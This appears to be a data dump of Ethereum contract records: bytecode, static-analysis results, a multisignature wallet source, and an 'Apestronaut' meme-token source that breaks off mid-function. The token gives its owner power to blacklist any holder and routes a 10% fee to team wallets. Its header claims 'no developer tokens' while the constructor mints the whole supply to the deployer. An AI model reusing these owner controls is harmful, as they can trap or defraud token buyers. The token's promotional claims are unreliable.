ffffffffffffffffff1614151561120957600080fd5b600360149054906101000a900460ff1615151561122557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561132f5780601f106113045761010080835404028352916020019161132f565b820191906000526020600020905b81548152906001019060200180831161131257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561137457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113c157600080fd5b611412826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115e782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561193f57fe5b818303905092915050565b600080828401905083811015151561195e57fe5b80915050929150505600a165627a7a72305820efdeb3cf7a84a02b4bfd4e6e3a2ded369d313e9afe787f708004221dfc9c723a0029
|
{"success": true, "error": null, "results": {}}
| 3,284 |
0x8c8675898360d4115e32c0196e8e0a35d4c29840
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b14610349578063a8abe69a146103af578063b5dc40c3146103d2578063b77bf600146103e8578063ba51a6df146103fb578063c01a8c8414610411578063c642747414610427578063d74f8edd1461048c578063dc8452cd1461049f578063e20056e6146104b2578063ee22610b146104d7575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104ed565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610515565b34156101c157600080fd5b6101636004356106aa565b34156101d757600080fd5b6101eb600160a060020a0360043516610788565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a036024351661079d565b341561022c57600080fd5b61023e600435151560243515156107bd565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a0360043516610829565b341561027a57600080fd5b6101eb600435610965565b341561029057600080fd5b61023e6004356109e9565b34156102a657600080fd5b6102b1600435610a58565b604051600160a060020a038516815260208101849052811515606082015260806040820181815290820184818151815260200191508051906020019080838360005b8381101561030b5780820151838201526020016102f3565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561035457600080fd5b61035c610b36565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561039b578082015183820152602001610383565b505050509050019250505060405180910390f35b34156103ba57600080fd5b61035c60043560243560443515156064351515610b9f565b34156103dd57600080fd5b61035c600435610cc7565b34156103f357600080fd5b61023e610e2b565b341561040657600080fd5b610163600435610e31565b341561041c57600080fd5b610163600435610ec4565b341561043257600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610fb295505050505050565b341561049757600080fd5b61023e610fd1565b34156104aa57600080fd5b61023e610fd6565b34156104bd57600080fd5b610163600160a060020a0360043581169060243516610fdc565b34156104e257600080fd5b61016360043561118a565b60038054829081106104fb57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561053757600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561056057600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106435782600160a060020a03166003838154811015156105aa57fe5b600091825260209091200154600160a060020a03161415610638576003805460001981019081106105d757fe5b60009182526020909120015460038054600160a060020a0390921691849081106105fd57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610643565b600190910190610583565b6003805460001901906106569082611494565b50600354600454111561066f5760035461066f90610e31565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106d257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561070757600080fd5b600084815260208190526040902060030154849060ff161561072857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610822578380156107ea575060008181526020819052604090206003015460ff16155b8061080e575082801561080e575060008181526020819052604090206003015460ff165b1561081a576001820191505b6001016107c1565b5092915050565b30600160a060020a031633600160a060020a031614151561084957600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561087157600080fd5b81600160a060020a038116151561088757600080fd5b600380549050600101600454603282111580156108a45750818111155b80156108af57508015155b80156108ba57508115155b15156108c557600080fd5b600160a060020a0385166000908152600260205260409020805460ff1916600190811790915560038054909181016108fd8382611494565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109e2576000848152600160205260408120600380549192918490811061099357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109c7576001820191505b6004548214156109da57600192506109e2565b60010161096a565b5050919050565b6000805b600354811015610a525760008381526001602052604081206003805491929184908110610a1657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a4a576001820191505b6001016109ed565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a9004600160a060020a031690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b235780601f10610af857610100808354040283529160200191610b23565b820191906000526020600020905b815481529060010190602001808311610b0657829003601f168201915b5050506003909301549192505060ff1684565b610b3e6114bd565b6003805480602002602001604051908101604052809291908181526020018280548015610b9457602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b76575b505050505090505b90565b610ba76114bd565b610baf6114bd565b600080600554604051805910610bc25750595b9080825280602002602001820160405250925060009150600090505b600554811015610c5757858015610c07575060008181526020819052604090206003015460ff16155b80610c2b5750848015610c2b575060008181526020819052604090206003015460ff165b15610c4f5780838381518110610c3d57fe5b60209081029091010152600191909101905b600101610bde565b878703604051805910610c675750595b908082528060200260200182016040525093508790505b86811015610cbc57828181518110610c9257fe5b906020019060200201518489830381518110610caa57fe5b60209081029091010152600101610c7e565b505050949350505050565b610ccf6114bd565b610cd76114bd565b6003546000908190604051805910610cec5750595b9080825280602002602001820160405250925060009150600090505b600354811015610db45760008581526001602052604081206003805491929184908110610d3157fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dac576003805482908110610d6c57fe5b600091825260209091200154600160a060020a0316838381518110610d8d57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d08565b81604051805910610dc25750595b90808252806020026020018201604052509350600090505b81811015610e2357828181518110610dee57fe5b90602001906020020151848281518110610e0457fe5b600160a060020a03909216602092830290910190910152600101610dda565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e5157600080fd5b6003548160328211801590610e665750818111155b8015610e7157508015155b8015610e7c57508115155b1515610e8757600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610eec57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f1157600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f4557600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610fab8561118a565b5050505050565b6000610fbf848484611374565b9050610fca81610ec4565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610ffe57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561102757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561104f57600080fd5b600092505b6003548310156110e85784600160a060020a031660038481548110151561107757fe5b600091825260209091200154600160a060020a031614156110dd57836003848154811015156110a257fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556110e8565b600190920191611054565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111b557600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111ea57600080fd5b600085815260208190526040902060030154859060ff161561120b57600080fd5b61121486610965565b1561136c576000868152602081815260409182902060038101805460ff1916600190811790915581548183015460028085018054959c506112fb97600160a060020a039094169692956000199581161561010002959095019094160492918391601f8301819004810201905190810160405280929190818152602001828054600181600116156101000203166002900480156112f15780601f106112c6576101008083540402835291602001916112f1565b820191906000526020600020905b8154815290600101906020018083116112d457829003601f168201915b5050505050611471565b1561133257857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261136c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561138c57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114179291602001906114cf565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818115116114b8576000838152602090206114b891810190830161154d565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061151057805160ff191683800117855561153d565b8280016001018555821561153d579182015b8281111561153d578251825591602001919060010190611522565b5061154992915061154d565b5090565b610b9c91905b8082111561154957600081556001016115535600a165627a7a72305820300b63fe89f9a766a5584cbab8b63806c5e4b4762bb1f097d7be7ec022e4a4130029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,285 |
0xae785dd1587112640b8e94ddc2731dd03705674b
|
/*
NO DEVELOPER TOKENS, ALL CIRCULATING TOKENS ARE USED FOR LIQUIDITY
TG: https://t.me/apestronauterc20
Website: https://www.apestronaut.space/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Apestronaut is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Apestronaut | t.me/apestronauterc20";
string private constant _symbol = "APE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
